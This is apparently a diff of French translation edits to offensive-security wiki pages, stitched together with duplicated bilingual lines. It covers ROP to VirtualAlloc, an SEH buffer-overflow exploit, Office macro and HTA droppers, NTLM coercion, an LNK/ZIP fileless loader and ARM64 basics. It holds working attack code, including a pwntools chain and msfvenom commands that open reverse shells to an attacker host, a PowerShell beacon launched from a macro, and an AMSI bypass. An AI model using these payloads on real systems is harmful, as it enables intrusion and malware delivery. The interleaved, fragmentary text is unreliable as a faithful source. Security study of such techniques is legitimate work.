- RDX = dwSize → suffisamment grand pour votre chain + shellcode (par ex. 0x1000)
|
||||
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
|
||||
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Minimal strategy:
|
||||
1) Leak a module base (par ex. via un format-string, un object pointer, etc.) pour calculer les adresses absolues des gadgets et de l'IAT sous ASLR.
|
||||
2) Trouvez des gadgets pour charger RCX/RDX/R8/R9 (séquences pop ou mov/xor) et un call/jmp [VirtualAlloc@IAT]. Si vous ne disposez pas de pop r8/r9 directs, utilisez des gadgets arithmétiques pour synthétiser les constantes (par ex. régler r8=0 puis ajouter répétitivement r9=0x40 quarante fois pour atteindre 0x1000).
|
||||
3) Placez le stage-2 shellcode immédiatement après la chain.
|
||||
Stratégie minimale :
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
3) Place stage-2 shellcode immediately after the chain.
|
||||
|
||||
Example layout (conceptual):
|
||||
```
|
||||
@ -105,11 +105,11 @@ JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Avec un ensemble de gadgets restreint, vous pouvez construire des valeurs de registres indirectement, par exemple :
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → positionne r9 à la valeur de rbx, met r8 à zéro, et compense la stack avec un junk qword.
|
||||
- xor rbx, rsp; ret → charge rbx avec le stack pointer actuel.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → déplace la valeur dérivée de RSP dans RCX.
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → définir r9 depuis rbx, mettre r8 à zéro, et compenser la pile avec un qword de remplissage.
|
||||
- xor rbx, rsp; ret → initialiser rbx avec le pointeur de pile courant.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → placer dans RCX une valeur dérivée de RSP.
|
||||
|
||||
Esquisse Pwntools (étant donné une base connue et des gadgets) :
|
||||
Pwntools sketch (en supposant une base connue et des gadgets) :
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Tips:
|
||||
Conseils :
|
||||
- VirtualProtect fonctionne de façon similaire si rendre un buffer existant RX est préférable ; l'ordre des paramètres est différent.
|
||||
- If the stack space is tight, allouez RWX ailleurs (RCX=NULL) et faites un jmp vers cette nouvelle région au lieu de réutiliser la stack.
|
||||
- Tenez toujours compte des gadgets qui ajustent RSP (e.g., add rsp, 8; ret) en insérant des junk qwords.
|
||||
- Si l'espace stack est limité, allouez RWX ailleurs (RCX=NULL) et jmp vers cette nouvelle région au lieu de réutiliser la stack.
|
||||
- Tenez toujours compte des gadgets qui ajustent RSP (p.ex., add rsp, 8; ret) en insérant des junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devrait être désactivé** pour que l'adresse soit fiable entre les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'un leak pour déterminer où la fonction win est chargée.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devraient également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais atteinte.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection empêcherait l'exécution du shellcode présent sur la stack parce que cette région ne serait pas exécutable.
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** pour que l'adresse soit fiable entre exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin de quelque leak pour déterminer où la win function est chargée.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devraient aussi être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection empêcherait l'exécution du shellcode dans la stack parce que cette région ne sera pas exécutable.
|
||||
|
||||
## Autres exemples & références
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR avec leak d'adresse de la stack, écrire un shellcode et y sauter
|
||||
- 64bit, ASLR avec leak d'adresse de stack, écrire un shellcode et sauter vers celui-ci
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR avec stack leak, écrire un shellcode et y sauter
|
||||
- 32 bit, ASLR avec leak de la stack, écrire un shellcode et sauter vers celui-ci
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR avec stack leak, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur, écrire un shellcode et y sauter
|
||||
- 32 bit, ASLR avec leak de la stack, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur, écrire un shellcode et sauter vers celui-ci
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, sans ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode sur la stack
|
||||
- arm64, pas d'ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode dans la stack
|
||||
|
||||
|
||||
## Références
|
||||
|
@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
L'exploitation basée sur SEH est une technique classique sur x86 Windows qui abuse de la chaîne Structured Exception Handler stockée sur la stack. Lorsqu'un buffer overflow sur la stack écrase les deux champs de 4 octets
|
||||
SEH-based exploitation est une technique classique sur Windows x86 qui abuse de la chaîne Structured Exception Handler stockée sur la pile. Quand un débordement de tampon sur la pile écrase les deux champs de 4 octets suivants
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
un attaquant peut prendre le contrôle de l'exécution en :
|
||||
|
||||
1) Plaçant SEH à l'adresse d'un POP POP RET gadget dans un module non protégé, de sorte que lorsqu'une exception est déclenchée le gadget renvoie vers des octets contrôlés par l'attaquant, et
|
||||
2) Utilisant nSEH pour rediriger l'exécution (typiquement un short jump) vers le grand buffer débordant où se trouve le shellcode.
|
||||
1) Mettre SEH à l'adresse d'un gadget POP POP RET dans un module non protégé, de sorte que lorsque une exception est déclenchée le gadget renvoie l'exécution vers des octets contrôlés par l'attaquant, et
|
||||
2) Utiliser nSEH pour rediriger l'exécution (typiquement un saut court) vers l'intérieur du grand buffer débordant où réside le shellcode.
|
||||
|
||||
Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, préférez un module sans SafeSEH et ASLR pour le gadget. Les caractères problématiques incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du HTTP parsing.
|
||||
Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, privilégiez un module sans SafeSEH et sans ASLR pour le gadget. Les bad characters incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du parsing HTTP.
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Faites crasher le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH).
|
||||
- Envoyez un pattern cyclique comme données de débordement et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH.
|
||||
- Faites planter le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH).
|
||||
- Envoyez un cyclic pattern comme données débordantes et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH.
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
Exemple avec peda/GEF/pwntools sur un corps POST de 1000 octets:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Conservez la longueur totale constante pour rendre le crash reproductible.
|
||||
Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Gardez la longueur totale constante pour rendre le crash reproductible.
|
||||
|
||||
---
|
||||
|
||||
## Choisir un POP POP RET (SEH gadget)
|
||||
|
||||
Vous avez besoin d'une séquence POP POP RET pour dérouler le cadre SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et idéalement sans ASLR :
|
||||
Vous avez besoin d'une séquence POP POP RET pour dérouler la frame SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et de préférence sans ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg) : `!mona modules` puis `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg : `ERC --SEH` pour lister les gadgets POP POP RET et le statut SafeSEH.
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
Choisissez une adresse qui ne contient pas de badchars lorsque écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent.
|
||||
Choisissez une adresse qui ne contient pas de badchars lorsqu'elle est écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent.
|
||||
|
||||
---
|
||||
|
||||
## Technique de jump-back (short + near jmp)
|
||||
## Technique jump-back (short + near jmp)
|
||||
|
||||
nSEH ne fait que 4 octets, ce qui permet au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez sauter en arrière de centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH.
|
||||
nSEH ne fait que 4 octets, ce qui accepte au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez revenir de plusieurs centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH.
|
||||
|
||||
Avec nasmshell:
|
||||
With nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
@ -61,7 +61,7 @@ EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Disposition proposée pour un payload de 1000 bytes avec nSEH à offset 660:
|
||||
Idée d'agencement pour un payload de 1000 bytes avec nSEH à offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Flux d'exécution :
|
||||
Execution flow:
|
||||
- Une exception se produit, le dispatcher utilise le SEH écrasé.
|
||||
- POP POP RET déroule la pile jusqu'à notre nSEH.
|
||||
- nSEH exécute `jmp short -8` pour atteindre le 5-byte near jump.
|
||||
- Le near jump atterrit au début de notre buffer où résident le NOP sled + shellcode.
|
||||
- POP POP RET déroule vers notre nSEH.
|
||||
- nSEH exécute `jmp short -8` vers le near jump de 5 octets.
|
||||
- Le near jump aboutit au début de notre buffer où résident le NOP sled + shellcode.
|
||||
|
||||
---
|
||||
|
||||
## Caractères interdits
|
||||
## Bad characters
|
||||
|
||||
Générez une chaîne complète de badchar et comparez la mémoire de la stack après le crash, en supprimant les octets qui sont altérés par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus.
|
||||
Construisez une chaîne complète de badchar et comparez la mémoire stack après le crash, en retirant les octets qui sont corrompus par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
@ -95,15 +95,16 @@ Utilisez msfvenom avec vos badchars. Un petit NOP sled aide à tolérer les vari
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Si vous le générez à la volée, le format hex est pratique à intégrer et à déhexer en Python:
|
||||
Si vous générez à la volée, le format hex est pratique pour embed et unhex en Python :
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
## Livraison via HTTP (CRLF précis + Content-Length)
|
||||
|
||||
Lorsque le vecteur vulnérable est le corps d'une requête HTTP, confectionnez une requête brute avec des CRLF précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant.
|
||||
## Envoi via HTTP (CRLF précis + Content-Length)
|
||||
|
||||
Lorsque le vecteur vulnérable est le corps d'une requête HTTP, créez une raw request avec des CRLFs précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
@ -127,17 +128,17 @@ p.close()
|
||||
## Outils
|
||||
|
||||
- x32dbg/x64dbg pour observer la chaîne SEH et analyser le crash.
|
||||
- ERC.Xdbg (x64dbg plugin) pour énumérer les gadgets SEH : `ERC --SEH`.
|
||||
- ERC.Xdbg (plugin pour x64dbg) pour énumérer les SEH gadgets : `ERC --SEH`.
|
||||
- Mona en alternative : `!mona modules`, `!mona seh`.
|
||||
- nasmshell pour assembler des short/near jumps et copier les opcodes bruts.
|
||||
- pwntools pour construire des payloads réseau précis.
|
||||
- pwntools pour fabriquer des payloads réseau précis.
|
||||
|
||||
---
|
||||
|
||||
## Remarques et mises en garde
|
||||
## Notes et mises en garde
|
||||
|
||||
- S'applique uniquement aux processus x86. x64 utilise un schéma SEH différent et l'exploitation basée sur SEH n'est généralement pas viable.
|
||||
- Privilégiez les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouvez un module non protégé chargé dans le processus.
|
||||
- Privilégier les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouver un module non protégé chargé dans le processus.
|
||||
- Les watchdogs de service qui redémarrent automatiquement après un crash peuvent faciliter le développement itératif d'exploits.
|
||||
|
||||
## Références
|
||||
|
@ -2,32 +2,32 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documents Office
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est réalisée sous la forme d'une identification de la structure de données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure de données, le fichier analysé ne sera pas ouvert.
|
||||
Microsoft Word effectue une validation des données du fichier avant d'ouvrir un fichier. La validation des données est effectuée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur survient lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||||
|
||||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout la capacité d'exécution des macros.\
|
||||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension et de conserver malgré tout leur capacité d'exécution des macros.\
|
||||
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et pourra exécuter des macros.\
|
||||
Les mêmes mécanismes internes s'appliquent à tous les logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions seront exécutées par certains programmes Office:
|
||||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office :
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Les fichiers DOCX faisant référence à un template distant (File –Options –Add-ins –Manage: Templates –Go) qui contient des macros peuvent également « exécuter » des macros.
|
||||
Les fichiers DOCX référencant un modèle distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent également « exécuter » des macros.
|
||||
|
||||
### Chargement d'images externes
|
||||
### Chargement d'image externe
|
||||
|
||||
Aller à : _Insert --> Quick Parts --> Field_\
|
||||
_**Categories** : Links and References, **Filed names** : includePicture, et **Filename or URL** :_ http://<ip>/whatever
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Catégories** : Links and References, **Filed names** : includePicture, et **Nom de fichier ou URL** :_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Backdoor des macros
|
||||
### Porte dérobée de macros
|
||||
|
||||
Il est possible d'utiliser des macros pour exécuter du code arbitraire depuis le document.
|
||||
|
||||
#### Fonctions d'autochargement
|
||||
#### Fonctions d'autoload
|
||||
|
||||
Plus elles sont courantes, plus il est probable que l'AV les détecte.
|
||||
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Supprimer manuellement les métadonnées
|
||||
#### Manually remove metadata
|
||||
|
||||
Allez dans **File > Info > Inspect Document > Inspect Document**, ce qui ouvrira le Document Inspector. Cliquez sur **Inspect** puis sur **Remove All** à côté de **Document Properties and Personal Information**.
|
||||
|
||||
#### Extension du document
|
||||
#### Doc Extension
|
||||
|
||||
Lorsque c'est terminé, ouvrez le menu déroulant **Save as type** et changez le format de **`.docx`** en **Word 97-2003 `.doc`**.\
|
||||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il existe une **méfiance** **à l'égard** de l'extension activant les macros **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certaines passerelles web/email les bloquent complètement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**.
|
||||
Lorsque terminé, sélectionnez le menu déroulant **Save as type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\
|
||||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il existe un **stigma** **autour** de l'extension macro-enabled **`.docm`** (par ex. l'icône miniature affiche un énorme `!` et certains web/email gateway les bloquent entièrement). Par conséquent, cette **extension legacy `.doc` est le meilleur compromis**.
|
||||
|
||||
#### Générateurs de macros malveillantes
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## Fichiers HTA
|
||||
## HTA Files
|
||||
|
||||
Un HTA est un programme Windows qui **combine HTML et langages de script (tels que VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute comme une application « entièrement approuvée », sans les contraintes du modèle de sécurité d'un navigateur.
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
|
||||
Un HTA est exécuté via **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, si celui-ci a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forcer l'authentification NTLM
|
||||
## Forcing NTLM Authentication
|
||||
|
||||
Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux e-mails ou HTML auxquels l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui va **déclencher** une **authentification** simplement en **ouvrant le dossier.**
|
||||
Il existe plusieurs manières de **forcer l'authentification NTLM « à distance »**, par exemple en ajoutant des **images invisibles** dans des e-mails ou du HTML que l'utilisateur ouvrira (même via un MitM HTTP ?). Ou envoyer à la victime l'**adresse de fichiers** qui vont **déclencher** une **authentification** rien qu'en **ouvrant le dossier.**
|
||||
|
||||
**Consultez ces idées et plus dans les pages suivantes :**
|
||||
**Consultez ces idées et d'autres sur les pages suivantes :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,20 +156,20 @@ Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**,
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi **perform NTLM relay attacks** :
|
||||
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi réaliser des NTLM relay attacks :
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Des campagnes très efficaces livrent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le véritable PowerShell loader est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk le découpe et l'exécute complètement en mémoire.
|
||||
Des campagnes très efficaces distribuent un ZIP contenant deux documents leurres légitimes (PDF/DOCX) et un .lnk malveillant. L'astuce est que le PowerShell loader réel est stocké dans les octets bruts du ZIP après un marqueur unique, et le .lnk l'extrait et l'exécute entièrement en mémoire.
|
||||
|
||||
Flux typique implémenté par le one-liner PowerShell du .lnk :
|
||||
Flux typique mis en œuvre par le one-liner PowerShell du .lnk :
|
||||
|
||||
1) Localiser le ZIP original dans des emplacements courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant.
|
||||
1) Localiser le ZIP original dans les chemins courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le répertoire parent du répertoire de travail courant.
|
||||
2) Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est le payload PowerShell embarqué.
|
||||
3) Copier le ZIP vers %ProgramData%, l'extraire là, et ouvrir le .docx leurre pour paraître légitime.
|
||||
3) Copier le ZIP dans %ProgramData%, l'extraire là, puis ouvrir le .docx leurre pour paraître légitime.
|
||||
4) Contourner AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Déobfusquer l'étape suivante (par ex., supprimer tous les caractères #) et l'exécuter en mémoire.
|
||||
|
||||
@ -191,10 +191,10 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Remarques
|
||||
- La livraison abuse souvent de sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bénins en fonction de l'IP/UA).
|
||||
- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur disque.
|
||||
- La livraison abuse souvent des sous-domaines PaaS réputés (par ex., *.herokuapp.com) et peut gate les payloads (servir des ZIPs bénins en fonction de l'IP/UA).
|
||||
- L'étape suivante décrypte fréquemment du base64/XOR shellcode et l'exécute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur le disque.
|
||||
|
||||
Persistance utilisée dans la même chaîne
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
@ -203,9 +203,9 @@ Persistance utilisée dans la même chaîne
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk qui énumère les dossiers parent/utilisateur pour localiser le ZIP et ouvre un document leurre.
|
||||
- Altération d'AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Threads métier de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Conversations business de longue durée se terminant par des liens hébergés sous des domaines PaaS de confiance.
|
||||
|
||||
## Références
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,256 +2,259 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Niveaux d'exception - EL (ARM64v8)**
|
||||
## **Niveaux d'Exception - EL (ARM64v8)**
|
||||
|
||||
Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de Niveaux d'Exception (EL), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un but différent :
|
||||
Dans l'architecture ARMv8, les niveaux d'exécution, appelés Exception Levels (ELs), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un rôle différent :
|
||||
|
||||
1. **EL0 - Mode Utilisateur** :
|
||||
- C'est le niveau le moins privilégié et est utilisé pour exécuter du code d'application ordinaire.
|
||||
- Les applications s'exécutant à EL0 sont isolées les unes des autres et du logiciel système, améliorant ainsi la sécurité et la stabilité.
|
||||
2. **EL1 - Mode Noyau du Système d'Exploitation** :
|
||||
1. **EL0 - Mode utilisateur**:
|
||||
- C'est le niveau le moins privilégié et il est utilisé pour exécuter le code d'application ordinaire.
|
||||
- Les applications s'exécutant en EL0 sont isolées les unes des autres et du logiciel système, ce qui améliore la sécurité et la stabilité.
|
||||
2. **EL1 - Mode noyau du système d'exploitation**:
|
||||
- La plupart des noyaux de systèmes d'exploitation s'exécutent à ce niveau.
|
||||
- EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système.
|
||||
3. **EL2 - Mode Hyperviseur** :
|
||||
- Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant à EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) s'exécutant sur le même matériel physique.
|
||||
- EL2 fournit des fonctionnalités pour l'isolation et le contrôle des environnements virtualisés.
|
||||
4. **EL3 - Mode Moniteur Sécurisé** :
|
||||
- C'est le niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
|
||||
- EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
|
||||
- EL1 dispose de plus de privilèges qu'EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système.
|
||||
3. **EL2 - Mode hyperviseur**:
|
||||
- Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant en EL2 peut gérer plusieurs systèmes d'exploitation (chacun en EL1) fonctionnant sur le même matériel physique.
|
||||
- EL2 fournit des fonctionnalités d'isolation et de contrôle des environnements virtualisés.
|
||||
4. **EL3 - Mode Secure Monitor**:
|
||||
- C'est le niveau le plus privilégié et il est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
|
||||
- EL3 peut gérer et contrôler les accès entre les états secure et non-secure (comme secure boot, trusted OS, etc.).
|
||||
|
||||
L'utilisation de ces niveaux permet une gestion structurée et sécurisée des différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, renforçant ainsi la sécurité et la robustesse du système.
|
||||
